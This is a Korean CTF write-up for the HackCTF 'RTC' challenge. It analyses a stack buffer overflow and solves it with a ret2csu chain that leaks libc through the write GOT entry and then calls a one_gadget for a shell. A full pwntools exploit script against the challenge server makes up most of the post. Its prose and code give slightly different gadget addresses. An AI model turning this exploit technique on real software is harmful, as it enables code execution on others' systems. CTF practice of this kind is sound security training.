[HackCTF] RTC
System/PWNABLE

[HackCTF] RTC

728x90

checksec

Pseudo Code

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-40h]

  setvbuf(stdin, 0LL, 2, 0LL);
  write(1, "Hey, ROP! What's Up?\n", 0x15uLL);
  return read(0, &buf, 0x200uLL);
}

0x40byte만큼 할당받은 buf 변수에 0x200byte만큼 read함수를 통해 읽어들이려하면서 overflow 발생가능

>> read함수를 이용해 buf변수에 0x40 + 8 byte 만큼 문자열을 채워주면 return address를 덮어 쓸 수 있을 것이다

Payload

gadget

csu

gadget1 = 0x406ba

gadget2 = 0x406a0

gadget1로 rbx, rbp, r12, r13, r14, r15 순으로 값을 저장하고 gadget2로 r13, r14, r15의 값을 각각 rdx, rsi, edi 로 이동시킴 

 

one gadget이 있는지 확인해봤다

one_gadget

one_gadget의 조건에 맞춰서 레지스터값을 NULL을 맞추기 위해 one_gadget을 보낸 후에 "\x00"을 채워준다.

Exploit

from pwn import *
from struct import *

#context.log_level = 'debug'
p = remote("ctf.j0n9hyun.xyz", 3025)
elf = ELF("./rtc")
libc = ELF("./libc.so.6")
#libc = elf.libc
write_off = libc.symbols['write']
write_got = elf.got['write']
read_off = libc.symbols['read']
read_got = elf.got['read']
main = elf.symbols['main']

one_gadget = 0xf1147

gadget1 = 0x4006ba
gadget2 = 0x4006a0

pl = "A"*(0x40 + 0x8)
pl += p64(gadget1)
pl += p64(0)
pl += p64(1)
pl += p64(write_got)
pl += p64(8)
pl += p64(read_got)
pl += p64(1)

pl += p64(gadget2)

pl += "A"*8*7
pl += p64(main)

p.sendlineafter("\n",pl)

#leak = u64(p.recvuntil("\x7f")[-6:].ljust(8, "\x00"))
leak = u64(p.recv(8))
libc_base = leak - read_off
print("libc_base:"+hex(libc_base))

pl = "A"*(0x40 + 8)
pl += p64(one_gadget + libc_base)
pl += '\x00'*0x100

p.sendlineafter("\n",pl)

p.interactive()

! 성공 !

 

 

 

 

 

 

SMALL

'System > PWNABLE' 카테고리의 다른 글

[HackCTF] uaf  (0) 2020.09.20
first  (0) 2020.09.06
baby1  (0) 2020.08.23
[HackCTF] SysROP  (0) 2020.08.07
[HackCTF] look at me  (0) 2020.08.02